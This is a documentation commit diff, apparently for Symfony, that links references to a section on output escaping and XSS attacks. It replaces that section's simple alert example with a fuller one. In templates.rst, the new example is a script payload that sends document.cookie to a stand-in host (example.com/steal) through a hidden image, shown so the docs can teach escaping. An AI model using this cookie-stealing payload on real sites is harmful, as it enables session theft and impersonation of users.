Add a better example of the dangers of XSS attacks

Author: javiereguiluz

reference/configuration/framework.rst

@@ -1825,7 +1825,7 @@ cookie_httponly
 This determines whether cookies should only be accessible through the HTTP
 protocol. This means that the cookie won't be accessible by scripting
 languages, such as JavaScript. This setting can effectively help to reduce
-identity theft through XSS attacks.
+identity theft through :ref:`XSS attacks <xss-attacks>`.
 
 gc_divisor
 ..........

reference/configuration/twig.rst

@@ -44,9 +44,9 @@ individually in the templates).
 .. danger::
 
     Setting this option to ``false`` is dangerous and it will make your
-    application vulnerable to `XSS attacks`_ because most third-party bundles
-    assume that auto-escaping is enabled and they don't escape contents
-    themselves.
+    application vulnerable to :ref:`XSS attacks <xss-attacks>` because most
+    third-party bundles assume that auto-escaping is enabled and they don't
+    escape contents themselves.
 
 If set to a string, the template contents are escaped using the strategy with
 that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr``
@@ -345,4 +345,3 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored
 and the non-existing values are replaced by ``null``.
 
 .. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
-.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting

templates.rst

@@ -1240,17 +1240,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
 Read the `Twig template inheritance`_ docs to learn more about how to reuse
 parent block contents when overriding templates and other advanced features.
 
-Output Escaping
----------------
+.. _output-escaping:
+.. _xss-attacks:
+
+Output Escaping and XSS Attacks
+-------------------------------
 
 Imagine that your template includes the ``Hello {{ name }}`` code to display the
-user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
-their name and you output that value unchanged, the application will display a
-JavaScript popup window.
+user name and a malicious user sets the following as their name:
+
+.. code-block:: html
+
+    My Name
+    <script type="text/javascript">
+        document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
+    </script>
 
-This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
-example seems harmless, the attacker could write more advanced JavaScript code
-to perform malicious actions.
+You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
+so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_
+or XSS attack.
 
 To prevent this attack, use *"output escaping"* to transform the characters
 which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).